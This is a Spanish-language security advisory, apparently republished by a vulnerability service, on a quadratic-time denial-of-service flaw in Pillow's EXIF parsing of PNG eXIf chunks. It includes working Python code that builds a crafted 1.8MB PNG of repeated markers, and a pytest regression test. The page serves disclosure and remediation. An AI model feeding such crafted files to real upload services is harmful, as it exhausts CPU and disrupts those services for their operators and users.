Pillow: el fragmento eXIf de PNG hace que el análisis EXIF se ejecute en tiempo cuadrático
El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.
Resumen
Un archivo PNG con un fragmento eXIf grande lleno de marcadores repetidos de 6 bytes provoca que el analizador EXIF de Pillow consuma segundos de CPU en lugar de milisegundos. El coste computacional crece con el cuadrado del tamaño del fragmento, por lo que un archivo de tamaño habitual para una foto pequeña es suficiente para causar demoras notables.
Detalles
Exif.load() en src/PIL/Image.py elimina un marcador del inicio de los datos EXIF de la siguiente forma:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Cada pasada crea una nueva copia de los datos restantes. Una cámara real escribe este marcador una sola vez, por lo que habitualmente esto no representa un problema.
chunk_eXIf() en src/PIL/PngImagePlugin.py introduce el fragmento eXIf de PNG sin procesar directamente en info["exif"] sin límite de tamaño ni verificación de su contenido. Los fragmentos de texto PNG (tEXt, zTXt, iTXt) están limitados por MAX_TEXT_CHUNK y MAX_TEXT_MEMORY. El fragmento eXIf no cuenta con dicho límite.
Si el fragmento eXIf se llena de marcadores Exif\x00\x00 repetidos en lugar de datos EXIF reales, el bucle de recorte se ejecuta una vez por cada marcador, copiando un búfer de gran tamaño cada vez. Se trata de un error clásico de tiempo cuadrático.
Pasos para reproducir
Esto genera un PNG pequeño en memoria y cronometra Image.open().getexif() sobre él, sin necesidad de un archivo externo:
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Resultado esperado en una versión corregida: muy por debajo de 0.1 segundos, igual que un archivo normal de este tamaño.
Resultado real en el código afectado: alrededor de 3.5 a 3.7 segundos para un único archivo 1.8MB. El tiempo se consume dentro del bucle de recorte. La tasa de crecimiento observada en varios tamaños (200KB, 600KB, 1.2MB, 1.8MB) coincide de forma precisa con un crecimiento cuadrático y no lineal.
Una versión de esta prueba para pytest, que utiliza pytest-timeout para evitar que la ejecución se congele si el fallo está presente, falla con Failed: Timeout (>2.0s) from pytest-timeout:
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Impacto
- Disponibilidad: un atacante capaz de hacer que se procese un archivo PNG puede consumir varios segundos de CPU por solicitud. Un archivo de mayor tamaño escala peor, ya que el coste es cuadrático y no lineal.
- Confidencialidad: ninguna.
- Integridad: ninguna.
- Esto se activa a través de
Image.getexif(),Image._getexif()yImageOps.exif_transpose(). Dado queexif_transpose()es la función recomendada por la propia documentación de Pillow para la autorrotación de fotos subidas por usuarios, esto puede afectar al código habitual de gestión de subidas de archivos y no solo a llamadas poco frecuentes.
Qué hacer
Actualice Pillow a la versión 13.0.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pillow | >= 11.0.0, < 13.0.0 | 13.0.0 |
Referencias
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h
- https://nvd.nist.gov/vuln/detail/CVE-2026-96643
- https://github.com/python-pillow/Pillow/pull/10073
- https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-407- Plataforma
- Python (PyPI)
- Paquete
pillow- Publicada
- 21.10.2026
- Actualizado
- 29.10.2026 12:17
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - PYSEC-2026-4342 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-g4qv-2jxx-769h - CC BY 4.0
Historial de vulnerabilidades: pillow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 106
- Primera → última
- 04.2014 11.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Crítica 14
- Alta 63
- Media 27
- Baja 1
- Sin evaluar 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
antes: 12
-
Pillow: el fragmento eXIf de PNG hace que el análisis EXIF se ejecute en tiempo cuadrático esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.